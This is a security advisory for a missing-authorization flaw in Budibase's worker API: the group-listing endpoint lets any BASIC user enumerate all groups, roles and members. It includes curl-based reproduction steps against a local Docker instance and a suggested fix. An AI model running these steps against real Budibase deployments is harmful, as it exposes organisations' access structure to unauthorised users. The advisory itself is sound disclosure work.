PT-2026-67585 · Npm · @Budibase/Server

Published

2026-07-24

·

Updated

2026-07-24

CVSS v3.1

4.3

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

Steps to Reproduce

1. Start Budibase

bash
docker run -d --name budibase-poc -p 10000:80 
 -e MINIO ACCESS KEY=minio access -e MINIO SECRET KEY=minio secret 
 -e INTERNAL API KEY=internal api key -e JWT SECRET=jwt secret test 
 -e API ENCRYPTION KEY=api enc key test123456 
 -e BB ADMIN USER EMAIL=admin@test.com 
 -e BB ADMIN USER PASSWORD=TestPassword123! 
 budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done

2. Login as admin, create a user group, create a BASIC user

bash
# Login as admin
curl -s -c /tmp/bb admin.txt -X POST http://localhost:10000/api/global/auth/default/login 
 -H "Content-Type: application/json" 
 -d '{"username":"admin@test.com","password":"TestPassword123!"}'

# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb admin.txt -X POST http://localhost:10000/api/global/groups 
 -H "Content-Type: application/json" 
 -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app abc123":"ADMIN"}}'

# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb admin.txt -X POST http://localhost:10000/api/global/users 
 -H "Content-Type: application/json" 
 -d '{"email":"basic@test.com","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'

3. Login as BASIC user and enumerate all groups (the vulnerability)

bash
# Login as BASIC user
curl -s -c /tmp/bb basic.txt -X POST http://localhost:10000/api/global/auth/default/login 
 -H "Content-Type: application/json" 
 -d '{"username":"basic@test.com","password":"BasicPass123!"}'

# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb basic.txt http://localhost:10000/api/global/groups
Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)
Actual: 200 OK with full group data including role mappings, member lists, and builder flags.

Standalone verification (code review)

bash
# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts
Output shows the list endpoint has NO auth middleware:
 .get("/api/global/groups",      # <-- NO auth.builderOrAdmin
  requireFeature(Feature.USER GROUPS),
  controller.fetch
Compare with the single-group endpoint directly below:
 .get("/api/global/groups/:groupId",  # <-- HAS auth.builderOrAdmin
  auth.builderOrAdmin,
  requireFeature(Feature.USER GROUPS),
  controller.getById

Root Cause

File: packages/worker/src/api/routes/global/groups.ts, lines 40-44
The list endpoint is the ONLY group endpoint without RBAC:
EndpointAuth Middleware
POST /api/global/groupsauth.adminOnly
DELETE /api/global/groups/:id/:revauth.adminOnly
GET /api/global/groups/:idauth.builderOrAdmin
GET /api/global/groups/:id/usersauth.builderOrAdmin
GET /api/global/groupsNONE

Impact

A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.

Suggested Fix

diff
 router.get("/api/global/groups",
+  auth.builderOrAdmin,
  requireFeature(Feature.USER GROUPS),
  controller.fetch
 )

Fix

Missing Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-862

Related Identifiers

GHSA-4QCJ-M5WP-JMF4

Affected Products

@Budibase/Server